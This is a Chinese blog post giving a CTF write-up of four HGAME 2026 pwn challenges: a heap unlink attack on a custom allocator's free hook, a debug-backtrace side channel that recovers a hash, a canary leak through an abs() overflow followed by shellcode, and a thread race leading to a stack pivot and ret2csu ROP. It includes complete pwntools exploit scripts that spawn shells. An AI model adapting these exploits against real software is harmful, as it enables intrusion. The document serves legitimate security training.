sysNow's blog

2026 HGAME writeup

2026-02-11
CTF
writeup
最后更新:2026-02-11
18分钟
3568字

HGAME 2026

第一周

Heap1sEz

default

这道题目的malloc和free是自己实现的,并且给了main.c和malloc.c的源码,通过源码我们可以看到存在UAF漏洞

default

同时我们看malloc函数

1
void *malloc (size_t bytes){
2
INTERNAL_SIZE_T nb;
3
INTERNAL_SIZE_T size;
4
INTERNAL_SIZE_T remainder_size;
5
6
mchunkptr victim;
7
mchunkptr remainder;
8
9
void *p;
10
11
nb = (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) < MINSIZE ? MINSIZE : (bytes + SIZE_SZ + MALLOC_ALIGN_MASK) & (~MALLOC_ALIGN_MASK);
12
13
//first request
14
if(main_arena.top == NULL){
15
malloc_init_state(&main_arena);
44 collapsed lines
16
p = sysmalloc(nb, &main_arena);
17
return p;
18
}
19
20
//unsorted bin
21
while ((victim = ((mchunkptr)bin_at(&main_arena, 1))->bk) != bin_at(&main_arena, 1)) {
22
size = chunksize(victim);
23
/* split */
24
if(size >= nb){
25
if(size - nb >= MINSIZE){
26
remainder_size = size - nb;
27
remainder = victim;
28
victim = chunk_at_offset(remainder, remainder_size);
29
set_head(victim, nb);
30
set_inuse(victim);
31
set_head_size(remainder, remainder_size);
32
set_foot(remainder, remainder_size);
33
p = chunk2mem(victim);
34
return p;
35
}
36
else{
37
unlink_chunk(victim);
38
set_inuse(victim);
39
return chunk2mem(victim);
40
}
41
}
42
}
43
if(nb > chunksize(main_arena.top) - MINSIZE) TODO();
44
/* split */
45
else{
46
victim = main_arena.top;
47
size = chunksize(victim);
48
remainder_size = size - nb;
49
remainder = chunk_at_offset (victim, nb);
50
main_arena.top = remainder;
51
set_head (victim, nb | PREV_INUSE);
52
set_head (remainder, remainder_size | PREV_INUSE);
53
void *p = chunk2mem (victim);
54
return p;
55
}
56
//can't reach here
57
assert(0);
58
return NULL;
59
}

在自己实现的堆管理器中简化掉了tcache和fastbin,仅留下了unsorted bin,因此后续的攻击要关注unsorted bin

1
void free(void *mem)
2
{
3
mchunkptr p; /* chunk corresponding to mem */
4
INTERNAL_SIZE_T size; /* its size */
5
mchunkptr nextchunk; /* next contiguous chunk */
6
INTERNAL_SIZE_T nextsize; /* its size */
7
int nextinuse; /* true if nextchunk is used */
8
INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
9
mchunkptr bck; /* misc temp for linking */
10
mchunkptr fwd; /* misc temp for linking */
11
if (__builtin_expect (hook != NULL, 0))
12
{
13
(*hook)(mem);
14
return;
15
}
50 collapsed lines
16
if(mem == NULL){
17
return;
18
}
19
p = mem2chunk (mem);
20
size = chunksize(p);
21
nextchunk = chunk_at_offset(p, size);
22
nextsize = chunksize(nextchunk);
23
/* consolidate backward */
24
if (!prev_inuse(p)) {
25
prevsize = prev_size (p);
26
size += prevsize;
27
p = chunk_at_offset(p, -((long) prevsize));
28
if (__glibc_unlikely (chunksize(p) != prevsize))
29
malloc_printerr ("corrupted size vs. prev_size while consolidating");
30
unlink_chunk (p);
31
}
32
if (nextchunk != main_arena.top) {
33
/* get and clear inuse bit */
34
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
35
36
/* consolidate forward */
37
if (!nextinuse) {
38
unlink_chunk (nextchunk);
39
size += nextsize;
40
} else
41
clear_inuse_bit_at_offset(nextchunk, 0);
42
bck = bin_at(&main_arena, 1);
43
fwd = bck->fd;
44
//if (__glibc_unlikely (fwd->bk != bck))
45
//malloc_printerr ("free(): corrupted unsorted chunks");
46
p->fd = fwd;
47
p->bk = bck;
48
bck->fd = p;
49
fwd->bk = p;
50
51
set_head(p, size | PREV_INUSE);
52
set_foot(p, size);
53
//check_free_chunk(av, p);
54
}
55
/*
56
If the chunk borders the current high end of memory,
57
consolidate into top
58
*/
59
else {
60
size += nextsize;
61
set_head(p, size | PREV_INUSE);
62
main_arena.top = p;
63
//check_chunk(av, p);
64
}
65
}

很明显看到这里给了个hook,只要控制hook的内容就能挟持执行流,同时unlink的check被注释掉了,因此最原始的unlink也能执行

到这里其实攻击思路已经很明确了:

  1. 通过unlink去打notes这个堆块管理地址,构造一个*p = p-0x18的结构,进而控制notes中存储的内存地址
  2. 通过notes去修改hook为puts泄露libc
  3. 通过notes去修改hook为system获取shell
1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
77 collapsed lines
16
def cmd(i, prompt=b">"):
17
sla(prompt, i)
18
def add(idx, size):
19
cmd(b"1")
20
ru(b"Index")
21
sl(str(idx).encode())
22
ru(b"Size")
23
sl(str(size).encode())
24
# ......
25
def edit(idx, co):
26
cmd(b"3")
27
ru(b"Index")
28
sl(str(idx).encode())
29
ru(b"Content")
30
s(co)
31
# ......
32
def show(idx):
33
cmd(b"4")
34
ru(b"Index")
35
sl(str(idx).encode())
36
# ......
37
def dele(idx):
38
cmd(b"2")
39
ru(b"Index")
40
sl(str(idx).encode())
41
# ......
42
43
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
44
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
45
46
add(0, 0x100)
47
edit(0, b"AAAA")
48
add(1, 0x100)
49
edit(1, b"BBBB")
50
add(2, 0x100)
51
edit(2, b"CCCC")
52
add(3, 0x100)
53
edit(3, b"DDDD")
54
add(4, 0x100)
55
edit(4, b"DDDD")
56
dele(2)
57
show(2)
58
temp = b""
59
while True:
60
t = r(1)
61
temp += t
62
if t in [b"\x55", b"\x56"]:
63
break
64
elf_base = u64(temp[-6:].ljust(8, b"\x00")) - 0x3808
65
leak("elf_base", elf_base)
66
hook = elf_base + 0x3828
67
main_arena = hook-0x18
68
note = elf_base + 0x3880
69
leak("hook", hook)
70
leak("main_arena", main_arena)
71
72
edit(2, p64(note+0x10-0x18)+p64(note+0x10-0x10))
73
# unlink
74
# pause()
75
dele(1)
76
77
edit(2, b"EEEEEEEE" + p64(hook) + p64(elf_base+elf.got["puts"]))
78
edit(0, p64(elf_base + elf.plt["puts"]))
79
dele(1)
80
puts_addr = x64()
81
leak("puts_addr", puts_addr)
82
obj = LibcSearcher("puts", puts_addr)
83
base = puts_addr-obj.dump("puts")
84
system = base+obj.dump("system")
85
bin_sh = base+obj.dump("str_bin_sh")
86
87
edit(2, b"EEEEEEEE" + p64(hook) + p64(bin_sh))
88
edit(0, p64(system))
89
pause()
90
dele(1)
91
92
ia()

steins;gate

IDA打开发现是rust写的,反编译比较复杂因此AI辅助逆向了一下,主要逻辑是:如果没有./flag_hash这个文件,就读取/flag并生成其哈希,将其哈希写入./flag_hash

default

default

如果已经有./flag_hash这个文件的话,就将文件中的内容直接读取进缓冲区中

default

接下来是主循环,获取了用户的一行输入,将这个输入进行处理之后与刚刚的哈希值传入guess::verify进行字符对比,如果对比结果相同则直接拿到shell

default

将用户的输入进行处理的过程我们可以通过测试得到,断点下在guess::verify(src, &v42)这一行,运行之后在命令行中输入ABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABABAB

default

双击src就可以看到处理之后的数据

default

所以数据处理就是将两个字节合并成一个字节而已,将其合并后的结果与flag的哈希值对比,如果flag的哈希值是0xA2 0xBC那我们就要输入A2BC

哈希值在本地的python中可以通过如下程序进行计算

1
import hashlib
2
with open('/flag', 'rb') as f:
3
data = f.read()
4
print(hashlib.sha512(data).hexdigest())

default

default

可以看到上述python程序生成的哈希和rust程序生成的哈希是一样的(其实这个结论在这道题没有用)

我们整理一下思路:要获取flag就要拿到shell,要拿到shell就要获取flag的哈希,要获取flag的哈希就要知道flag……没招,闭环了( •́ .̫ •̀ )

毕竟爆破哈希在有限的时间内是不可能的,因此这个思路是行不通的,肯定哪里有疏漏

在哈希对比失败后,程序会输出一段调试信息

default

我们进行环境变量的配置之后,可以输出完整的调试信息

default

我们回头看看verify函数的流程图,发现这个函数及其抽象

default

其实就是每一行异常的处理程序地址是不同的

default

default

比如第一个字符错误由0x18491-0x184B7代码处理,第二个字符错误由0x184B7-0x184DD代码处理

这样配合调试信息中的这一行,就可以通过侧信道的方式爆破哈希的每一位,从而得到完整的哈希

1
11: 0x5615a05394b7 - guess::verify::h4e5e60253993031b

所以正确的思路是通过侧信道爆破哈希,随后获取shell

1
from pwn import *
2
from LibcSearcher import *
3
from ctypes import *
4
5
context(os="linux",arch="amd64",log_level="debug")
6
7
io = process("./pwn")
8
# io = remote("cloud-middle.hgame.vidar.club",30148)
9
# io = gdb.debug("./pwn")
10
11
# elf = ELF("./pwn")
12
# libc = ELF("./libc-2.31.so")
13
14
stop = pause
15
S = pause
54 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
s = io.send
19
sl = io.sendline
20
sla = io.sendlineafter
21
sa = io.sendafter
22
slt = io.sendlinethen
23
st = io.sendthen
24
r = io.recv
25
rn = io.recvn
26
rr = io.recvregex
27
ru = io.recvuntil
28
ra = io.recvall
29
rl = io.recvline
30
rs = io.recvlines
31
rls = io.recvline_startswith
32
rle = io.recvline_endswith
33
rlc = io.recvline_contains
34
ia = io.interactive
35
cr = io.can_recv
36
37
hex_chars = [chr(i) for i in range(ord('0'), ord('9')+1)] + [chr(i) for i in range(ord('a'), ord('f')+1)]
38
flag_hash = b""
39
for i in range(len(flag_hash)//2, 63):
40
for j in hex_chars:
41
flag = False
42
for k in hex_chars:
43
ch = (j+k).encode()
44
ru(b":")
45
sl((flag_hash+ch).ljust(128, b"A"))
46
ru(b"11:")
47
ru(b"0x")
48
r(9)
49
addr = int(r(3), 16)
50
leak("addr", addr)
51
idx = (addr-0x4B7)//(0x4DD-0x4B7)
52
leak("idx", idx)
53
if idx != i:
54
flag_hash += ch
55
flag = True
56
print("flag_hash --> ", flag_hash)
57
break
58
if flag:
59
break
60
pause()
61
for j in hex_chars:
62
flag = False
63
for k in hex_chars:
64
ch = (j+k).encode()
65
ru(b":")
66
sl((flag_hash+ch).ljust(128, b"A"))
67
sl("cat /flag")
68
69
ia()

adrift

default

栈上有可执行权限,因此可以考虑在栈上注入shellcode

IDA打开分析一下程序的功能

default

可以看到这道题目的canary是个全局变量,其中的内容是个栈地址

default

退出main函数的时候会对canary进行校验,如果canary被修改则执行exit(0)

default

当输入0时为add功能,此时会让我们输入way和distance,输入way的时候很明显存在一个栈溢出,但是由于canary的限制无法直接修改,要先想办法泄露一个栈地址,qmemcpy这一串就是将我输入的way复制到可写地址中,可以忽略;完成qmemcpy后会将buf内容置零随后让我们输入distance存入dis[i]

default

delete功能就是将指定位置i的dis[i % 201]清空

default

show功能就是将v2取绝对值,随后输出dis[v2]

default

edit功能是对v6取绝对值,随后修改dis[v6]

这道题的漏洞点在于,show和edit中我们的输入都是short 整型,其最小值为-32768

因为-32768的二进制表示是 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0,对于一个负数取反就要按位取反,再加1

按位取反之后为 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1,将结果加一为 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0,可以看到与原先的-32768表示一样

因此当我们在show功能输入-32768时,取反后仍为-32768,其小于199,因此可以成功泄露dis[-32768]的数据,我们从gdb的角度看一下这个地址存储着什么

default

可以看到这里存储的就是canary的值——栈地址,通过这种方式我们就可以泄露出canary

这样我们就可以通过栈溢出挟持返回地址了,由于存在memset因此我们要将shellcode写在没有被初始化的空间中

1
s(b"A"*0x3ea + p64(canary) + b"A"*0x10 + b"B"*0x8)

这样构造payload我们一方面测试返回地址有无被覆盖,一方面看那一段payload没有被清空

default

因此要在字符A的地方写入shellcode,将字符B的地方写上字符A的地址,就可以成功执行到shellcode,但是由于shellcode只有0x10字节,因此可以先构造一个read再输入一段shellcode,在第二段shellcode中执行execve("/bin/sh", 0, 0)

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
68 collapsed lines
16
def cmd(i, prompt=b"choose> "):
17
sla(prompt, i)
18
def add(co, dis):
19
cmd(b"0")
20
ru(b"way>")
21
s(co)
22
ru(b"distance>")
23
sl(str(dis).encode())
24
# ......
25
def edit(idx, dis):
26
cmd(b"3")
27
ru(b"index>")
28
sl(str(idx).encode())
29
ru(b"a new distance>")
30
sl(str(dis).encode())
31
# ......
32
def show(idx):
33
cmd(b"2")
34
ru(b"index>")
35
sl(str(idx).encode())
36
# ......
37
def dele(idx):
38
cmd(b"1")
39
ru(b"index>")
40
sl(str(idx).encode())
41
# ......
42
43
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
44
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
45
46
show(-32768)
47
ru(b": ")
48
canary = int(r(15))
49
leak("canary", canary)
50
51
shell1 = """
52
pop rdi
53
pop rdx
54
pop rdx
55
pop rsi
56
sub rsi, 0x113
57
syscall
58
"""
59
shell1 = asm(shell1)
60
61
cmd(b"0")
62
ru(b"way>")
63
s((b"AA").ljust(0x3ea, b"A") + p64(canary) + (shell1).ljust(0x10, b"A") + p64(canary+0x410))
64
ru(b"distance>")
65
sl(str(1).encode())
66
67
# pause()
68
cmd(b"4")
69
70
shell2 = """
71
mov rax, 59
72
xor rsi, rsi
73
xor rdx, rdx
74
mov rdi, 0x68732f6e69622f
75
push rdi
76
mov rdi, rsp
77
syscall
78
"""
79
shell2 = asm(shell2)
80
pause()
81
sl(shell2)
82
83
ia()

Producer and Consumer

default

很明显是个多线程题,将sem初始化为8,随后每调用一次sem_wait(&sem)都会将其值减一,每调用一次sem_post(&sem)都会将其值加一,退出work函数之后将其结果复制到dest中,复制字节数是8 * num

default

这是work函数的内容,可以看到它通过我们的输入启动produce线程和consume线程

default

这是consume的主要功能,其实有用的就只有sem_post(&sem)一行

default

这是produce函数的内容,可以看到程序先抢锁,抢到锁之后如果num小于等于7则直接释放锁。在锁mutex释放时线程会sleep一段时间,在这里就存在线程竞争的问题了。比如现在num是7,有两个线程来抢锁,一个线程是A一个线程是B,A比B快0.1s,这样A先抢到锁,随后释放后执行sleep(1),在sleep过程中B也抢到锁了,此时由于A线程还未执行到num = (num + 1) % 11,因此线程B在判断num小于等于7时,num还是7通过了判断,这样的结果就是num最终会被加两次,num的最终值是9,进而引发main函数中的memcpy(dest, src, 8 * num)造成栈溢出

在这道题目中,根据线程当前的num不同会像堆上的相邻地址写入不同的值,最后通过memcpy函数复制到栈上。为了造成栈溢出,同时覆盖返回地址,要求num最终的结果是10,同时需要严格控制好每个线程,使其写入的数据不冲突,不混乱

1
from pwn import *
2
from LibcSearcher import *
3
from ctypes import *
4
5
context(os="linux",arch="amd64",log_level="debug")
6
7
io = process("./pwn")
8
# io = remote('cloud-middle.hgame.vidar.club', 32236)
9
# io = gdb.debug("./pwn")
10
11
elf = ELF("./pwn")
12
libc = ELF("./libc-2.31.so")
13
14
stop = pause
15
S = pause
59 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
s = io.send
19
sl = io.sendline
20
sla = io.sendlineafter
21
sa = io.sendafter
22
slt = io.sendlinethen
23
st = io.sendthen
24
r = io.recv
25
rn = io.recvn
26
rr = io.recvregex
27
ru = io.recvuntil
28
ra = io.recvall
29
rl = io.recvline
30
rs = io.recvlines
31
rls = io.recvline_startswith
32
rle = io.recvline_endswith
33
rlc = io.recvline_contains
34
ia = io.interactive
35
cr = io.can_recv
36
37
def cmd(i, prompt=b"input your choice>>"):
38
sla(prompt, i)
39
def produce(co):
40
cmd(b"1")
41
s(co)
42
# ......
43
def consume():
44
cmd(b"2")
45
46
consume()
47
consume()
48
consume()
49
produce(b"11111111")
50
sleep(6)
51
produce(b"22222222")
52
sleep(6)
53
produce(b"33333333")
54
sleep(6)
55
produce(b"44444444")
56
sleep(6)
57
produce(b"55555555")
58
sleep(6)
59
produce(b"66666666")
60
sleep(6)
61
produce(b"77777777")
62
sleep(0.15)
63
produce(b"88888888")
64
sleep(0.15)
65
produce(b"99999999")
66
sleep(0.15)
67
produce(b"00000000")
68
sleep(10)
69
70
gdb.attach(io)
71
pause()
72
cmd(b"3")
73
74
ia()

经过多轮测试,按照上述脚本的流程执行时,各个线程写入数据不会发生冲突,先不冲突地创建6个线程分别写入数据并将num加到6,随后开始竞争,快速创建4个进程写入数据,最终的效果就是num加到10,同时堆上与栈上数据有序

需要注意的是,要提前执行三次consume功能以提高sem变量的值,要不然后面创建用来竞争的几个线程会陷入阻塞状态

default

可以看到,程序提供了个堆地址,通过这个堆地址我们可以找到线程原始写入的数据

default

由于只能够覆盖到返回地址,因此只能进行栈迁移

我们可以将返回地址覆盖为leave ; ret,将rbp覆盖为堆地址,然后通过栈迁移迁移到上述堆区域,这样就可以在这里布置ROP链

在造链子的时候发现新的问题,没有设置rdx的gadget,查看函数可以发现,这一段代码可以当作模板来实现ret2csu的效果

default

因此,通过栈迁移+ROP配合上面的代码先执行一个read读入新的ROP链,在新的ROP链中先泄露libc,随后再次读入新的ROP链,在最后的ROP链中执行system拿到shell

1
from pwn import *
2
from LibcSearcher import *
3
from ctypes import *
4
5
context(os="linux",arch="amd64",log_level="debug")
6
7
io = process("./pwn")
8
# io = remote('cloud-middle.hgame.vidar.club', 30698)
9
# io = gdb.debug("./pwn")
10
11
elf = ELF("./pwn")
12
libc = ELF("./libc-2.31.so")
13
14
stop = pause
15
S = pause
84 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
18
s = io.send
19
sl = io.sendline
20
sla = io.sendlineafter
21
sa = io.sendafter
22
slt = io.sendlinethen
23
st = io.sendthen
24
r = io.recv
25
rn = io.recvn
26
rr = io.recvregex
27
ru = io.recvuntil
28
ra = io.recvall
29
rl = io.recvline
30
rs = io.recvlines
31
rls = io.recvline_startswith
32
rle = io.recvline_endswith
33
rlc = io.recvline_contains
34
ia = io.interactive
35
cr = io.can_recv
36
37
def cmd(i, prompt=b"input your choice>>"):
38
sla(prompt, i)
39
def produce(co):
40
cmd(b"1")
41
s(co)
42
# ......
43
def consume():
44
cmd(b"2")
45
46
ru(b"a gift for you:0x")
47
heap = int(r(8), 16) + 0x1800
48
leak("heap", heap)
49
leave_ret = 0x4015A1
50
ret = 0x40101a
51
rdi = 0x401963
52
rsi_r15 = 0x401961
53
rdx = 0x401401
54
gad1 = 0x40195A
55
gad2 = 0x401940
56
57
consume()
58
consume()
59
consume()
60
produce(p64(gad1))
61
sleep(6)
62
produce(p64(0)) # rbx
63
sleep(6)
64
produce(p64(1)) # rbp
65
sleep(6)
66
produce(p64(0)) # r12 rdi
67
sleep(6)
68
produce(p64(heap+0x78)) # r13 rsi
69
sleep(6)
70
produce(p64(0x250)) # r14 rdx
71
sleep(6)
72
produce(p64(elf.got["read"])) # r15 func
73
sleep(0.15)
74
produce(p64(gad2))
75
sleep(0.15)
76
produce(p64(heap-8))
77
sleep(0.15)
78
produce(p64(leave_ret))
79
sleep(10)
80
81
cmd(b"3")
82
ru(b"buffer data:")
83
84
# gdb.attach(io)
85
pause()
86
s(flat([gad1, 0, 1, 1, elf.got["puts"], 0x10, elf.got["write"], gad2]) +
87
b"A"*0x38 +
88
flat([gad1, 0, 1, 0, heap+0x168, 0x200, elf.got["read"], gad2]))
89
90
libc_base = x64() - libc.sym["puts"]
91
system = libc_base + libc.sym["system"]
92
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
93
leak("system", system)
94
leak("libc_base", libc_base)
95
96
pause()
97
s(flat([ret, gad1, 0, 1, heap+0x1B8, 0, 0, heap+0x1B0, gad2, system, b"/bin/sh"]))
98
99
ia()
本文标题:2026 HGAME writeup
文章作者:sysNow
发布时间:2026-02-11